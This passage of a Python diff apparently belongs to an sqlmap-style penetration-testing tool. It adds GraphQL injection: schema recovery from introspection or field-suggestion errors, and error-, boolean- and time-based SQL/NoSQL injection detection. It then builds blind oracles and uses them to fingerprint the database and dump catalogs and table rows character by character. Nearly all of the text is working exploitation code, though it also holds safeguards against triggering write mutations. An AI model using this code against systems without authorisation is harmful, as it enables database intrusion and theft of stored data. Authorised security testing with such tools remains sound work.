accept anything) + data = doc.get("data") + if seed in GRAPHQL_FIELD_WORDLIST and isinstance(data, dict) and seed in data: + found.add(seed) + + return sorted(found) + + +def _suggestArgs(endpoint, op, field): + # Recover an argument name for `field` from an "Unknown argument ... Did you mean ..." message + prefix = "" if op == "query" else "mutation " + bogus = randomStr(length=10, lowercase=True) + page, _ = _gqlSend(endpoint, '%s{ %s(%s: 1) }' % (prefix, field, bogus)) + found = set() + for message in _gqlErrors(page): + if "Unknown argument" in message: + found.update(_harvestSuggestions(message)) + return sorted(found) + + +def _introspectViaSuggestions(endpoint): + # Fallback schema recovery when introspection is disabled but the server still leaks field/argument + # names through "Did you mean" validation errors. Builds best-effort Slots: known scalar arg types + # are unavailable here, so we default to the 'string' strategy (the most broadly injectable) and let + # the per-slot injection oracle confirm which (field, argument) pairs are actually vulnerable. + + probe = randomStr(length=10, lowercase=True) + page, _ = _gqlSend(endpoint, "{ %s }" % probe) + if not any("Did you mean" in m for m in _gqlErrors(page)): + return None + + logger.info("introspection is disabled; recovering the schema from field-suggestion errors") + + slots = [] + for op, parentName in (("query", "Query"), ("mutation", "Mutation")): + fields = _suggestFields(endpoint, op) + if not fields: + continue + logger.info("recovered %d %s field(s) via suggestions: %s" % ( + len(fields), op, ", ".join(fields))) + for field in fields: + args = _suggestArgs(endpoint, op, field) or list(GRAPHQL_ARG_WORDLIST) + for arg in args: + # returnSel="" renders as "{ __typename }" (valid on any OBJECT); strategy="string" + slots.append(Slot(op, parentName, field, [(arg, {}, None)], + arg, "string", "OBJECT", "", "")) + return slots or None + + +# --- Schema walking --------------------------------------------------------- + +def _extractSlots(schema): + # Walk the schema's Query and Mutation types, harvesting every + # scalar/injectable argument as a Slot + + _inputFields.clear() + _enumValues.clear() + + slots = [] + typeByName = {} + for t in (schema.get("types") or []): + if isinstance(t, dict) and t.get("name"): + typeByName[t["name"]] = t + if t.get("kind") == "INPUT_OBJECT": + _inputFields[t["name"]] = [ + (f["name"], f.get("type", {}), f.get("defaultValue")) + for f in (t.get("inputFields") or []) + ] + elif t.get("kind") == "ENUM": + _enumValues[t["name"]] = [e["name"] for e in (t.get("enumValues") or []) if e.get("name")] + + queryName = (schema.get("queryType") or {}).get("name") + mutationName = (schema.get("mutationType") or {}).get("name") + + for op, rootName in (("query", queryName), ("mutation", mutationName)): + if not rootName: + continue + rootType = typeByName.get(rootName) + if not rootType or rootType.get("kind") != "OBJECT": + continue + for field in (rootType.get("fields") or []): + fieldName = field["name"] + fieldArgs = field.get("args") or [] + + # Resolve return-type kind and the leaf selection set + returnChain = _unwrapType(field.get("type", {})) + returnKind = "SCALAR" + returnTypeName = _leafName(returnChain) + for kind, name in returnChain: + if kind != "NON_NULL": + returnKind = kind + + returnObj = typeByName.get(returnTypeName) if returnTypeName else None + leafFields = _scalarFields(returnObj, typeByName) + + # Nested object selections (one level) + nested = {} + if returnObj and returnObj.get("kind") == "OBJECT": + for rf in (returnObj.get("fields") or []): + rfChain = _unwrapType(rf.get("type", {})) + rfName = _leafName(rfChain) + rfObj = typeByName.get(rfName) if rfName else None + if rfObj and rfObj.get("kind") == "OBJECT": + nested[rf["name"]] = _scalarFields(rfObj, typeByName) or ["__typename"] + + returnSel = _renderSelection(returnKind, returnTypeName, leafFields, nested) + + for arg in (fieldArgs or []): + allArgs = [(a["name"], a.get("type", {}), a.get("defaultValue")) for a in fieldArgs] + strategy = _classifyArg(arg.get("type", {})) + if strategy: + slots.append(Slot(op, rootName, fieldName, allArgs, + arg["name"], strategy, returnKind, + returnTypeName, returnSel)) + elif _isInputObject(arg.get("type", {}), typeByName): + _inputSlots(op, rootName, fieldName, allArgs, + arg["name"], arg.get("type", {}), + returnKind, returnTypeName, returnSel, typeByName, slots) + return slots + + +# Mutation field-name heuristics: read-like mutations (login/verify/token/...) are safe to probe first; +# write-like ones (create/update/delete/...) are ranked last so a usable oracle is usually found on a +# non-persisting resolver before any write-like field is touched. +_READ_LIKE_MUTATIONS = ("login", "authenticate", "auth", "verify", "validate", "preview", "check", + "token", "signin", "session", "lookup", "search", "get", "fetch", "read", "resolve") +_WRITE_LIKE_MUTATIONS = ("create", "update", "delete", "insert", "save", "set", "add", "remove", + "register", "upsert", "destroy", "modify", "edit", "write", "put", "patch", "drop") +# argument names that request a non-persisting / dry-run execution - forced true when present so an +# automatic mutation probe avoids committing +_DRYRUN_ARGS = ("dryrun", "dry_run", "preview", "simulate", "validateonly", "validate_only", "noop", "no_op") + + +def _mutationTokens(fieldName): + # split camelCase and snake/kebab/space so a mixed name (updateUserPreview) yields distinct tokens + # (['update','user','preview']) - a read-like substring must NOT mask a write-like one hidden in the + # same name. + spaced = re.sub(r"([a-z0-9])([A-Z])", r"\1 \2", getUnicode(fieldName)) + return [t for t in re.split(r"[^A-Za-z0-9]+", spaced.lower()) if t] + + +def _mutationImpact(fieldName): + # WRITE-like WINS: any name whose tokens contain a write keyword is write-like, even if it also + # contains a read-like one (updateUserPreview / previewDeleteUser / getAndDeleteUser / createSession). + # Only a name with NO write token and at least one read token is read-like; anything else is unknown. + tokens = _mutationTokens(fieldName) + matches = lambda kws: any(any(kw in tok for kw in kws) for tok in tokens) + if matches(_WRITE_LIKE_MUTATIONS): + return "write-like" + if matches(_READ_LIKE_MUTATIONS): + return "read-like" + return "unknown" + + +def _rankMutations(slots): + order = {"read-like": 0, "unknown": 1, "write-like": 2} + return sorted(slots, key=lambda s: order[_mutationImpact(s.fieldName)]) + + +def _dryRunVerified(slot, endpoint): + """Whether this write-like mutation's NON-PERSISTENCE is automatically PROVEN, so it may be used as + the bulk blind-enumeration transport (hundreds/thousands of executions). Forcing an argument named + dryRun/preview true is NOT proof - a resolver may ignore, invert, or repurpose the name. A sound + proof needs an observed side-effect check (a schema-backed validate-only result that confirms no + commit, a rollback/transaction id, a distinct preview result type, or a compensating rollback), none + of which can be established reliably from introspection alone here. Returning False keeps write-like + mutations DETECTED and REPORTED but off the bulk-enumeration path - the conservative, honest default; + it is the hook to wire a real behavioural dry-run confirmation when the schema/environment supports + one.""" + return False + + +def _isInputObject(typeObj, typeByName): + name = _leafName(_unwrapType(typeObj)) + if not name: + return None + t = typeByName.get(name) + return t if t and t.get("kind") == "INPUT_OBJECT" else None + + +def _inputSlots(op, rootName, fieldName, allArgs, argName, typeObj, + returnKind, returnType, returnSel, typeByName, slots, _depth=0, _seen=None): + # Recurse into an input object to ARBITRARY depth, emitting a Slot for every scalar leaf reachable + # by a dotted path (input.filter.credentials.username). Bounded by depth and a visited-type set so a + # self-/mutually-recursive input schema cannot loop forever. + inputType = _isInputObject(typeObj, typeByName) + if not inputType or _depth > 5: + return + typeName = _leafName(_unwrapType(typeObj)) + _seen = _seen or set() + if typeName in _seen: + return + _seen = _seen | {typeName} + for fld in (inputType.get("inputFields") or []): + path = "%s.%s" % (argName, fld["name"]) + strategy = _classifyArg(fld.get("type", {})) + if strategy: + slots.append(Slot(op, rootName, fieldName, allArgs, + path, strategy, returnKind, returnType, returnSel)) + elif _isInputObject(fld.get("type", {}), typeByName): + _inputSlots(op, rootName, fieldName, allArgs, path, fld.get("type", {}), + returnKind, returnType, returnSel, typeByName, slots, _depth + 1, _seen) + + +def _scalarFields(objType, typeByName, depth=0): + # Return scalar/leaf field names reachable from `objType` (for selection set) + if not objType or depth > 3: + return [] + names = [] + for fld in (objType.get("fields") or []): + fType = typeByName.get(_leafName(_unwrapType(fld.get("type", {})))) + if not fType or fType.get("kind") in ("SCALAR", "ENUM"): + names.append(fld["name"]) + return names + + +def _renderSelection(returnKind, returnType, leafFields, nested): + # Build the return selection part of a GraphQL document string. + # Scalars/enums: no sub-selection (None). Objects/Lists-of-objects: + # nested field set. Lists-of-scalars also get no sub-selection. + if returnKind in ("SCALAR", "ENUM"): + return None + leafPart = " ".join(leafFields) if leafFields else "__typename" + nestedPart = "" + for objField, subFields in (nested or {}).items(): + nestedPart += " %s { %s }" % (objField, " ".join(subFields)) + return "{ %s%s }" % (leafPart, nestedPart) + + +# --- Request construction --------------------------------------------------- + +def _fieldFragment(slot, value, alias=None): + # Render a single `alias:field(args) selection` fragment with `value` in the + # target argument. Required sibling arguments get safe defaults. Returns "" when + # the value cannot be embedded (e.g. a non-numeric payload in an Int literal). + + if slot.strategy == "numeric" and not getUnicode(value).lstrip("-").isdigit(): + return "" + + renderedArgs = [] + for argName, argType, default in slot.allArgs: + if argName == slot.targetArg or slot.targetArg.startswith(argName + "."): + if "." in slot.targetArg: + # target is a path into a (possibly deeply) nested input object: render the whole + # containing tree down to the injected leaf, e.g. input:{filter:{credentials:{username:VALUE}}} + outer = slot.targetArg.split(".")[0] + if argName == outer: + outerType = _leafName(_unwrapType(argType)) + rest = slot.targetArg.split(".")[1:] + renderedArgs.append("%s: {%s}" % (outer, _renderInputPath(outerType, rest, value, slot.strategy))) + continue + renderedArgs.append(_renderArg(argName, value, slot.strategy)) + elif argName.lower().replace("-", "_") in _DRYRUN_ARGS and _leafName(_unwrapType(argType)) == "Boolean": + renderedArgs.append("%s:true" % argName) # force a dry-run/no-op flag so a mutation probe avoids committing + else: + sibling = _renderSibling(argName, argType, default) + if sibling is not None: # None => optional arg with no default -> omitted + renderedArgs.append(sibling) + + sel = slot.returnSel + if sel is None: + sel = "" + elif not sel: + sel = "{ __typename }" + argsPart = "(%s)" % ", ".join(renderedArgs) if renderedArgs else "" + return "%s:%s%s %s" % (alias or slot.fieldName, slot.fieldName, argsPart, sel) + + +def _buildQuery(slot, value): + # Render a complete single-field GraphQL document with `value` in the target + # argument. Wraps as a mutation when the slot belongs to the mutation root. + fragment = _fieldFragment(slot, value) + if not fragment: + return "" + prefix = "mutation " if slot.operation == "mutation" else "" + return "%s{%s}" % (prefix, fragment) + + +def _buildBatch(slot, values): + # Render one GraphQL document aliasing the field once per value (a0, a1, ...), + # so many independent injections resolve in a single request. Returns + # (document, aliases) or ("", []) when any value cannot be embedded. + fragments, aliases = [], [] + for index, value in enumerate(values): + alias = "a%d" % index + fragment = _fieldFragment(slot, value, alias) + if not fragment: + return "", [] + fragments.append(fragment) + aliases.append(alias) + prefix = "mutation " if slot.operation == "mutation" else "" + return "%s{%s}" % (prefix, " ".join(fragments)), aliases + + +def _renderArg(name, value, strategy): + # Render a single argument: name:"value" (string) or name:value (numeric) + if strategy == "numeric": + return "%s:%s" % (name, value) + if strategy == "id_dual" and isinstance(value, (str, bytes)) and getUnicode(value).lstrip("-").isdigit(): + return "%s:%s" % (name, value) + return '%s:"%s"' % (name, _escapeGraphQLString(value)) + + +def _renderInputPath(inputTypeName, pathParts, value, strategy, _seen=None): + """Render the body of an input-object literal for `inputTypeName`, placing `value` at the field path + `pathParts` (one or more levels deep) and filling required sibling fields with synthesized defaults. + Descends recursively into nested input objects - e.g. path ['filter','credentials','username'] yields + `filter:{credentials:{username:VALUE}}` alongside any required siblings at each level. Depth/cycle + bounded via `_seen`.""" + _seen = _seen or set() + fields = _inputFields.get(inputTypeName, []) + target = pathParts[0] if pathParts else None + parts = [] + for fldName, fldType, fldDefault in fields: + if fldName == target: + if len(pathParts) == 1: # leaf: the injected value goes here + parts.append(_renderArg(fldName, value, _classifyArg(fldType) or strategy or "string")) + else: # descend into the nested input object + innerName = _leafName(_unwrapType(fldType)) + if innerName and innerName not in _seen: + parts.append("%s:{%s}" % (fldName, _renderInputPath(innerName, pathParts[1:], value, strategy, _seen | {innerName}))) + else: + parts.append("%s:{}" % fldName) # cycle / unknown inner type -> best-effort empty + else: + sibling = _renderSibling(fldName, fldType, fldDefault) + if sibling is not None: # omit optional input-object fields with no default + parts.append(sibling) + return ", ".join(parts) + + +def _leafKind(chain): + # kind of the innermost NAMED type in an unwrapped type chain (SCALAR / ENUM / INPUT_OBJECT / ...) + for kind, name in reversed(chain): + if name: + return kind + return None + + +def _nativeSentinel(argType, depth=0, seen=None): + # Synthesize a REQUIRED argument's value in NATIVE GraphQL syntax by type kind. A one-size sentinel + # (`0`/`"x"`) is invalid for Boolean/Enum/List/input-object and makes the whole query fail to parse, + # so resolver execution (and thus injection) is never reached. A list wrapper takes an empty list + # (valid for a NON_NULL list); a bool is `false`; an int/float is `0`; an enum is a bare enum + # identifier (first schema value). A required INPUT_OBJECT is built RECURSIVELY - its required inner + # fields are populated (schema defaults verbatim, else synthesized) so a nested-required schema like + # SearchInput!{ filter: FilterInput!{ term: String! } } yields a VALID benign query instead of a + # bare `{}` the server rejects. Recursion is bounded by depth and a visited-type set (cycle safety). + chain = _unwrapType(argType) + if any(kind == "LIST" for kind, _ in chain): + return "[]" + named = _leafName(chain) + kind = _leafKind(chain) + if kind == "ENUM": + values = _enumValues.get(named) or [] + return values[0] if values else '"x"' # bare enum identifier, not a quoted string + if kind == "INPUT_OBJECT": + seen = seen or set() + if depth >= 5 or named in seen: # bound depth / break recursive input-type cycles + return "{}" + seen = seen | {named} + parts = [] + for fName, fType, fDefault in _inputFields.get(named, []): + if fDefault is not None: + parts.append("%s:%s" % (fName, fDefault)) # schema default is a literal - verbatim + elif (fType or {}).get("kind") == "NON_NULL": # populate ONLY required inner fields + parts.append("%s:%s" % (fName, _nativeSentinel(fType, depth + 1, seen))) + return "{%s}" % ", ".join(parts) + strategy = SCALAR_STRATEGY.get(named) + if strategy == "numeric": + return "0" + if named == "Boolean": + return "false" + return '"x"' + + +def _renderSibling(name, argType, default): + # Render a sibling argument we are NOT injecting into. Returns None to OMIT the argument (the caller + # drops it). An OPTIONAL argument with no schema default is OMITTED rather than filled with a bogus + # sentinel - filling e.g. an optional Boolean/Enum/List with `"x"` made the whole query invalid and + # caused widespread false negatives (resolver execution never reached). A schema-provided + # defaultValue is ALREADY a serialized GraphQL literal per the introspection spec (bool `true`, enum + # `ADMIN` unquoted, list `[1, 2]`, object `{a: 1}`, null, number, or a quoted string) and is emitted + # VERBATIM (never re-quoted). A REQUIRED (NON_NULL) argument with no default is synthesized in native + # syntax by kind (see _nativeSentinel). + if default is not None: + return "%s:%s" % (name, default) + if (argType or {}).get("kind") != "NON_NULL": + return None # optional + no default -> omit it + return "%s:%s" % (name, _nativeSentinel(argType)) + + +# --- Detection -------------------------------------------------------------- + +def _detectError(slot, endpoint): + # Error-based detection with a NEGATIVE CONTROL. A GraphQL endpoint can already return a DBMS + # exception for reasons unrelated to our probe (e.g. a required argument we rendered incorrectly), + # so a raw "signature present in the injected response" test declares injectable regardless of + # influence. Require the signature to be ABSENT from a benign baseline, appear only AFTER the + # injected value, and REPRODUCE before accepting it. + benign = _buildQuery(slot, "1") + basePage = _gqlSend(endpoint, benign)[0] if benign else None + baseErr = _errorText(basePage) or "" + + def _appearsOnlyAfterInjection(query, matcher): + # matcher(text) -> re.Match or None; True only if it hits the injected response, is absent + # from the benign baseline, and reproduces on a second injected request + err = _errorText(_gqlSend(endpoint, query)[0]) + if not err or not matcher(err) or matcher(baseErr): + return None + err2 = _errorText(_gqlSend(endpoint, query)[0]) + return matcher(err) if (err2 and matcher(err2)) else None + + for payload in _SQL_ERROR_PAYLOADS: + query = _buildQuery(slot, payload) + if not query: + continue + for pattern in ERROR_PARSING_REGEXES: + m = _appearsOnlyAfterInjection(query, lambda t, p=pattern: re.search(p, t)) + if m: + detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query)[0])[:200] + return "error-based", detail, payload + + for payload in (_NOSQL_NE, _NOSQL_IN): + query = _buildQuery(slot, payload) + if not query: + continue + m = _appearsOnlyAfterInjection(query, lambda t: re.search(NOSQL_ERROR_REGEX, t)) + if m: + return "nosql-error-based", (_errorText(_gqlSend(endpoint, query)[0]) or "")[:200], payload + + return None, None, None + + +def _detectBoolean(slot, endpoint): + # Boolean-based detection: compare the resolved data between true and false + # payloads. Numeric GraphQL literals (Int/Float) cannot carry SQL payloads. + + if slot.strategy == "numeric": + return None, None, None + + trueQuery = _buildQuery(slot, _SQL_BOOLEAN_TRUE) + falseQuery = _buildQuery(slot, _SQL_BOOLEAN_FALSE) + + if not trueQuery or not falseQuery: + return None, None, None + + truePage, _ = _gqlSend(endpoint, trueQuery) + truePage2, _ = _gqlSend(endpoint, trueQuery) + falsePage, _ = _gqlSend(endpoint, falseQuery) + falsePage2, _ = _gqlSend(endpoint, falseQuery) + + # a None page is a transport failure / blocked (WAF/5xx) sample - never an oracle observation. + # Rejecting it here stops the classic FP where two failed true requests are byte-identical and + # "differ" from a succeeding false request. + if any(p is None for p in (truePage, truePage2, falsePage, falsePage2)): + return None, None, None + + # a GraphQL resolver ERROR yields the same `data:null` as a genuine false predicate, so a false + # payload that merely trips a stable resolver error would look like a boolean oracle. Reject any + # pair where either side carries `errors` - that case belongs to _detectError, not boolean. + if any(_hasErrors(p) for p in (truePage, truePage2, falsePage, falsePage2)): + return None, None, None + + trueVal = _slotValue(truePage) + trueVal2 = _slotValue(truePage2) + falseVal = _slotValue(falsePage) + falseVal2 = _slotValue(falsePage2) + + # BOTH sides must independently reproduce (not just the true side) + if _ratio(falseVal, falseVal2) < (1.0 - _MIN_RATIO_DIFF): + return None, None, None + + # Require the true response to be REPRODUCIBLE (trueVal ~= trueVal2) and to diverge + # from the false response. A single true-vs-false compare turns page jitter into a + # false positive; a reproducibility guard (like the other non-SQL engines' _boolean) + # rejects it, since a jittery page also fails to reproduce against itself. + if _ratio(trueVal, trueVal2) >= (1.0 - _MIN_RATIO_DIFF) and _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): + return "boolean-based blind (string)", truePage, _SQL_BOOLEAN_TRUE + + return None, None, None + + +def _detectTime(slot, endpoint): + # Time-based detection: send a per-dialect conditional sleep and measure the + # elapsed time against a baseline. Returns (oracleType, threshold, dbms). + + if slot.strategy == "numeric": + return None, None, None, None + + baseQuery = _buildQuery(slot, "x") + if not baseQuery: + return None, None, None, None + + def elapsed(query): + # return (seconds, usable): a blocked/5xx/transport-failed response is NOT a usable timing + # sample, so a slow WAF block cannot establish a time-based finding here (the same + # blocked/transport rule the extraction oracle applies). + start = time.time() + page, code = _gqlSend(endpoint, query) + dt = time.time() - start + return dt, (page is not None and not blockedStatus(code)) + + baseDt, baseUsable = elapsed(baseQuery) + if not baseUsable: + return None, None, None, None + delay = conf.timeSec + cutoff = baseDt + delay * 0.5 + + def slow(query): # a CONFIRMED slow, USABLE response + dt, usable = elapsed(query) + return usable and dt > cutoff + + for dbms, dialect in DIALECTS.items(): + if not dialect.delay: + continue + sleepValue = "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay)) + sleepQuery = _buildQuery(slot, sleepValue) + if not sleepQuery or not slow(sleepQuery): + continue + + # Confirm before attributing: the delay must REPRODUCE (usable+slow) and a false-condition + # control must stay fast. A single sample turns jitter/a uniformly-slow endpoint into a false + # positive and can pin the wrong dialect; requiring the delay to track the condition rules both + # out. A blocked slow response is rejected by `slow()` (usable gate). + controlQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=2", delay))) + controlDt, controlUsable = elapsed(controlQuery) if controlQuery else (0, True) + if slow(sleepQuery) and (controlQuery is None or (controlUsable and controlDt <= cutoff)): + return "time-based blind", cutoff, dbms, sleepValue + + return None, None, None, None + + +# --- Boolean / time oracle (universal blind-SQLi primitive) ----------------- + +def _makeOracle(slot, endpoint, dbmsHint=None, threshold=None): + """Establish a truth(sqlCondition) -> bool primitive on `slot`. For a content + oracle the condition is injected as `<sentinel>' OR (<cond>)-- ` and the resolved + field is compared to its always-true template; for a timing oracle the condition + is wrapped in the dialect's conditional sleep. Returns (truth, truthBatch) where + truthBatch(conditions) -> [bool] evaluates many conditions in one aliased request + (None when the back-end rejects batching). Returns (None, None) when no usable + contrast exists on this slot.""" + + def _payload(condition): + return "%s' OR (%s)-- " % (SENTINEL, condition) + + if threshold is not None and dbmsHint and DIALECTS[dbmsHint].delay: + # Timing oracle: a per-document sleep fires only when `condition` holds. Batching would serialise + # the sleeps and inflate every request, so it is not offered here. A single measurement against a + # fixed threshold turns jitter into wrong bits over a long dump, so classify with repeated + # samples: a clear fast/slow reading decides immediately; a reading near the threshold is + # RE-SAMPLED, and persistent ambiguity aborts the value (InconclusiveError) rather than guessing. + delay = DIALECTS[dbmsHint].delay + + def _elapsed(condition): + query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, delay(condition, conf.timeSec))) + if not query: + return None + start = time.time() + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code): # transport failure/block is UNKNOWN, not "fast" + return None + return time.time() - start + + def truth(condition): + margin = max(0.5, conf.timeSec * 0.25) # ambiguity band around the threshold + for _attempt in range(3): + dt = _elapsed(condition) + if dt is None: + continue # re-sample a failed/blocked reading + if dt > threshold + margin: + return True + if dt < threshold - margin: + return False + # NEAR the threshold: a lone confirming sample deciding True/False would guess on an + # ambiguous pair, so loop and RE-SAMPLE; only a clear reading (above) decides, else the + # retries exhaust and the value aborts (InconclusiveError). A missing/low confirmation + # is NOT "False". + raise InconclusiveError() + + return truth, None + + # Content oracle: calibrate BOTH the always-true and never-true models on the SAME extraction shape + # the bits use, and require a clear split between them. + trueVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=1")))[0]) + falseVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=2")))[0]) + if _ratio(trueVal, falseVal) > UPPER_RATIO_BOUND: + return None, None + + def truth(condition): + # Tri-state: classify each bit against BOTH models with a margin, RE-SEND on an ambiguous read, + # and ABORT the value (InconclusiveError) on persistent ambiguity - never let a transport + # failure or a near-tie silently become a False bit that corrupts the extracted value. + query = _buildQuery(slot, _payload(condition)) + if not query: + raise InconclusiveError() + + def send(): + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code) or _hasErrors(page): + return None # a resolver ERROR is UNKNOWN, not a false bit + return _slotValue(page) + + return resolveBit(send(), trueVal, falseVal, send) + + def truthBatch(conditions): + query, aliases = _buildBatch(slot, [_payload(_) for _ in conditions]) + if not query: + raise InconclusiveError() + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code): + raise InconclusiveError() # a FAILED batch must NOT decay into a list of False bits + doc = _parseJSON(page) or {} + data = doc.get("data") + if not isinstance(data, dict): + raise InconclusiveError() + # A batch is trustworthy ONLY when every error is attributable to a specific alias via a + # non-empty path. A PATHLESS / global error (request-level, auth, middleware, unpathed resolver + # exception) affects the WHOLE batch, so it must invalidate every bit - not be ignored while the + # aliases (which may still be null) get classified as clean false observations. + for e in (doc.get("errors") or []): + path = e.get("path") if isinstance(e, dict) else None + if not (isinstance(path, list) and path): + raise InconclusiveError() # pathless/global error -> the entire batch is UNKNOWN + out = [] + for alias in aliases: + if alias not in data or _aliasErrored(page, alias): # absent or errored alias is UNKNOWN + raise InconclusiveError() + d = _decide(json.dumps(data.get(alias), sort_keys=True, default=str), trueVal, falseVal) + if d is _Decision.INCONCLUSIVE: + raise InconclusiveError() # an ambiguous bit in a batch -> abort the value, don't guess + out.append(d is _Decision.TRUE) + return out + + # Sanity: the oracle must answer a known truth/falsehood correctly + try: + if not (truth("1=1") and not truth("1=2")): + return None, None + except InconclusiveError: + return None, None + + # NEVER batch a MUTATION: _buildBatch aliases the field once per condition, so a single batched + # request would EXECUTE the write resolver many times. Aliased batching is a read-side speed-up + # only; a mutation extracts one condition per request (sequential), unless a verified dry-run/ + # rollback argument makes repeated execution non-persisting (not assumed here). + if slot.operation == "mutation": + return truth, None + + return truth, truthBatch + + +def _fingerprint(truth): + # Identify the back-end DBMS by probing each dialect's signature predicate. An inconclusive probe + # is not a match (and not a crash) - skip that dialect rather than abort the whole fingerprint. + for dbms, dialect in DIALECTS.items(): + try: + if truth(dialect.fingerprint): + return dbms + except InconclusiveError: + continue + return None + + +# --- Blind inference -------------------------------------------------------- + +def _safeChr(codepoint): + try: + return _unichr(codepoint) + except (ValueError, OverflowError): + return "?" + + +def _inferChar(truth, dialect, expr, pos): + """Recover one character's codepoint by bisection: the printable-ASCII range first + (fast, ~log2(95) probes), widening to the full Unicode range only when the codepoint + proves to be above it - so non-ASCII/UTF-8 data is recovered rather than silently + mangled into a wrong printable char. Control bytes below CHAR_MIN surface as '?'. + (MySQL's ASCII() yields the leading byte of a multibyte char, not its codepoint - a + documented limitation; the codepoint-returning dialects recover exactly.)""" + + ordExpr = dialect.ordinal(expr, pos) + if not truth("%s>=%d" % (ordExpr, CHAR_MIN)): + return "?" + hi = UNICODE_MAX if truth("%s>%d" % (ordExpr, CHAR_MAX)) else CHAR_MAX + low, high = CHAR_MIN, hi + while low < high: + mid = (low + high + 1) // 2 + if truth("%s>=%d" % (ordExpr, mid)): + low = mid + else: + high = mid - 1 + return _safeChr(low) + + +def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): + # Recover the string value of SQL expression `expr` one character at a time: + # binary-search the length, then each character via _inferChar (printable-fast, + # widening to full Unicode for non-ASCII). A persistently-inconclusive bit aborts the + # value (returns None) rather than being coerced to a wrong length/char. + lengthExpr = dialect.length(expr) + + try: + if not truth("%s>0" % lengthExpr): + return "" if truth("%s=0" % lengthExpr) else None + + length, probe = 1, 2 + while probe <= maxLen and truth("%s>=%d" % (lengthExpr, probe)): + length, probe = probe, probe * 2 + low, high = length, min(probe, maxLen + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + low = mid + else: + high = mid + length = low + + if length >= maxLen: + logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) + + value = "" + for pos in xrange(1, length + 1): + value += _inferChar(truth, dialect, expr, pos) + except InconclusiveError: + logger.warning("GraphQL blind extraction aborted for a value (oracle inconclusive after retries)") + return None + return value + + +def _inferExprBatched(truthBatch, truth, dialect, expr, maxLen=MAX_LENGTH): + # Same recovery as _inferExpr, but every probe is independent and resolved in + # parallel via aliased batching: the length is read from monotone >=N predicates + # and each character from its 7 independent bit predicates (ASCII & 2**b) plus one + # ">CHAR_MAX" flag. An L-character value costs ceil(8*L / BATCH_SIZE) requests. A + # flagged (non-ASCII) position is then recovered exactly via `truth` bisection + # (the 7 bits only carry the low byte), so non-ASCII data is not mangled. + lengthExpr = dialect.length(expr) + + try: + length = 0 + for chunk in _chunks(list(xrange(1, maxLen + 1)), BATCH_SIZE): + results = truthBatch(["%s>=%d" % (lengthExpr, _) for _ in chunk]) + hits = [n for n, ok in zip(chunk, results) if ok] + if hits: + length = max(length, max(hits)) + if not all(results): # monotone predicate: no longer length can be true beyond here + break + if length == 0: + return "" + + conditions, index = [], [] + for pos in xrange(1, length + 1): + for bit in xrange(7): + conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) + index.append((pos, bit)) + conditions.append("%s>%d" % (dialect.ordinal(expr, pos), CHAR_MAX)) + index.append((pos, "hi")) + + codes, wide = {}, set() + flat = [] + for chunk in _chunks(conditions, BATCH_SIZE): + flat.extend(truthBatch(chunk)) + for (pos, bit), ok in zip(index, flat): + if bit == "hi": + if ok: + wide.add(pos) + elif ok: + codes[pos] = codes.get(pos, 0) | (1 << bit) + + value = "" + for pos in xrange(1, length + 1): + if pos in wide: + value += _inferChar(truth, dialect, expr, pos) # non-ASCII: exact recovery + else: + code = codes.get(pos, 0) + value += _unichr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + except InconclusiveError: + # a failed/ambiguous batch must abort the value, not silently yield a run of false bits + logger.warning("GraphQL batched extraction aborted for a value (oracle inconclusive)") + return None + return value + + +def _inferrer(truth, truthBatch, dialect): + # Pick batched inference when the back-end honours aliased batching (verified + # with a known true/false pair), else fall back to sequential bisection + if truthBatch: + try: + if truthBatch(["1=1", "1=2"]) == [True, False]: + logger.info("using aliased query batching to accelerate blind extraction") + return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, truth, dialect, expr, maxLen) + except InconclusiveError: + pass # batching calibration was ambiguous -> use sequential bisection + return lambda expr, maxLen=MAX_LENGTH: _inferExpr(truth, dialect, expr, maxLen) + + +def _inferCount(infer, expr, label): + # Recover a COUNT(*). Distinguish an INCONCLUSIVE oracle (`infer` returns None) from a genuine + # numeric answer: an inconclusive count must NOT collapse to 0 (which would present an unavailable + # catalog/table as a confirmed-empty one). Returns an int, or None when the count is unknown. + raw = infer("(SELECT COUNT(*) %s)" % expr) + if raw is None: + logger.warning("%s count is inconclusive (oracle unavailable); result may be incomplete" % label) + return None + raw = raw.strip() + if raw.isdigit(): + return int(raw) + # a NON-NUMERIC / corrupted count is UNKNOWN, not a confirmed empty catalog/table -> None (partial), + # never 0 (which would present an unavailable result as "no rows") + logger.warning("%s count came back non-numeric (%r); treating as inconclusive, not empty" % (label, raw[:32])) + return None + + +def _catList(infer, dialect, col, fromClause, label="catalog"): + # Enumerate a catalog name list (tables or a table's columns) one entry at a time by + # ordinal position, so a GROUP_CONCAT/STRING_AGG the back-end would silently truncate + # (e.g. MySQL group_concat_max_len=1024) can't drop names. + count = _inferCount(infer, fromClause, label) + if count is None: + return None # UNKNOWN (not empty) - caller must not report "0 names" + + names, missing = [], 0 + for offset in xrange(min(count, DUMP_MAX_ROWS)): + name = infer("(SELECT %s %s %s)" % (col, fromClause, dialect.paginate(col, offset))) + if name is None: + missing += 1 # inconclusive name (NOT a genuine empty) - count it + elif name: + names.append(name) + + if missing: + logger.warning("%s: %d of %d name(s) were inconclusive and omitted" % (label, missing, min(count, DUMP_MAX_ROWS))) + if count > DUMP_MAX_ROWS: + logger.warning("catalog lists %d names; enumerating the first %d (DUMP_MAX_ROWS cap)" % (count, DUMP_MAX_ROWS)) + + return names + + +def _dumpTable(infer, dialect, table): + # Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal + # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by + # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row + # extraction has no 